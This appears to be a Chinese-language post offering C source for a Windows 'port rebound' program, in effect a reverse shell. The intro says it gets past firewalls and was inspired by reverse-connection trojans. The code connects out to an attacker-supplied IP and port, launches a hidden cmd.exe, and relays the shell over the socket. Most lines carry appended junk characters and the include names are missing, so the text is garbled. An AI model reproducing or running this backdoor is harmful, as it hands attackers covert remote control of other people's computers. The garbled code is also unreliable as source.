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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T`Jj$Lue{  
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/* ============================== ?Z{:[.  
Rebound port in Windows NT :5 zXW;s  
By wind,2006/7 {0?]weN*  
===============================*/ ;vkk$ -  
#include ]NRQM8\  
#include  FTk`Mq  
IMF9eS{L  
#pragma comment(lib,"wsock32.lib") Q"Ur*/-U  
s6F^z\6  
void OutputShell(); O"c@x:i  
SOCKET sClient; -h|YS/$f  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0;6 ^fiSY;  
uY"Bgz:=d  
void main(int argc,char **argv) aEJds}eE6)  
{ nUy2)CL[L  
WSADATA stWsaData;  0+P[0  
int nRet; 4!,`|W1  
SOCKADDR_IN stSaiClient,stSaiServer; c c^I9g~  
U5f<4I  
if(argc != 3) :}[RDF?  
{ 9D+B~8[SQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); Rv^ \o  
return; +Vsd%AnN"l  
} fMSB  
:"utFBO  
WSAStartup(MAKEWORD(2,2),&stWsaData); Obl,Qa:5  
5Y}=,v*h}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZR"BxE0_k  
5j S8{d0  
stSaiClient.sin_family = AF_INET; |OVD*A  
stSaiClient.sin_port = htons(0); +|OrV'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NR@n%p  
}o  {6  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .on}F>3k$  
{ ]u(EEsG/  
printf("Bind Socket Failed!\n"); >i:h dcxe  
return; G|,'6|$jE  
} F/(z3Kf  
O&( @Ka  
stSaiServer.sin_family = AF_INET; sfuA {c'v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]>%M%B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XSDudL  
x 8v2mnk  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Qjl.O HO  
{ ]DV=/RpJ9B  
printf("Connect Error!"); v_s(  
return; Gi9s*v,s  
} *|F ;An.N^  
OutputShell(); ~Y3"vdd  
} MPxe|Wws  
h+<F,0  
void OutputShell() {:!CA/0Jx  
{  E qc,/  
char szBuff[1024]; kd3vlp  
SECURITY_ATTRIBUTES stSecurityAttributes; rcx'`CIJ  
OSVERSIONINFO stOsversionInfo; A@I( &Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C2/B1ba  
STARTUPINFO stStartupInfo; }vGW lNd#g  
char *szShell; %=t8   
PROCESS_INFORMATION stProcessInformation; 4#c-?mh_  
unsigned long lBytesRead; 1p%75VW  
c&rS7%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q4wS<, 3  
)?zlhsu}1;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <Jwx|  
stSecurityAttributes.lpSecurityDescriptor = 0; >I^_kBa  
stSecurityAttributes.bInheritHandle = TRUE; =SEgv;#KZ~  
( ;(DI^Un8  
dRXEF6G  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FWJhi$\:D]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .dvOUt I[  
-%g&O-i\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L=1~)>mP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |[lmW%  
stStartupInfo.wShowWindow = SW_HIDE; BA 9c-Ay  
stStartupInfo.hStdInput = hReadPipe; ?-HLP%C('  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $QB~ x{v@n  
 `[=3_  
GetVersionEx(&stOsversionInfo); 2U Q&n`A  
i;GF/pi  
switch(stOsversionInfo.dwPlatformId) %Uz 5Ve  
{ c'gV  
case 1: Z<2j#rd  
szShell = "command.com"; 3{j&J-  
break; )^^Eh=Kbj  
default: $afE= qC*  
szShell = "cmd.exe"; E/6@>.T?'  
break; q]qKU`m!Q`  
} {|Pg]#Wi&  
\F }s"#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); + yF._Ie=  
'q:t48&  
send(sClient,szMsg,77,0); D')m8:>  
while(1) %JsCw8C6?  
{ MS~|F^g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %9qG|A,cA  
if(lBytesRead) F6$QEiDu@  
{ A3Lfh6O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e~+VN4D&b>  
send(sClient,szBuff,lBytesRead,0); 8FmRD  
} AzmISm  
else E7K(I ?  
{ NGYUZ\m  
lBytesRead=recv(sClient,szBuff,1024,0); M&/([ >Q  
if(lBytesRead<=0) break; 6S2u%-]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {ejJI/o0  
} "B~ow{3  
} 6*({ZE  
CI~P3"`]  
return; b# RTHe&X  
}
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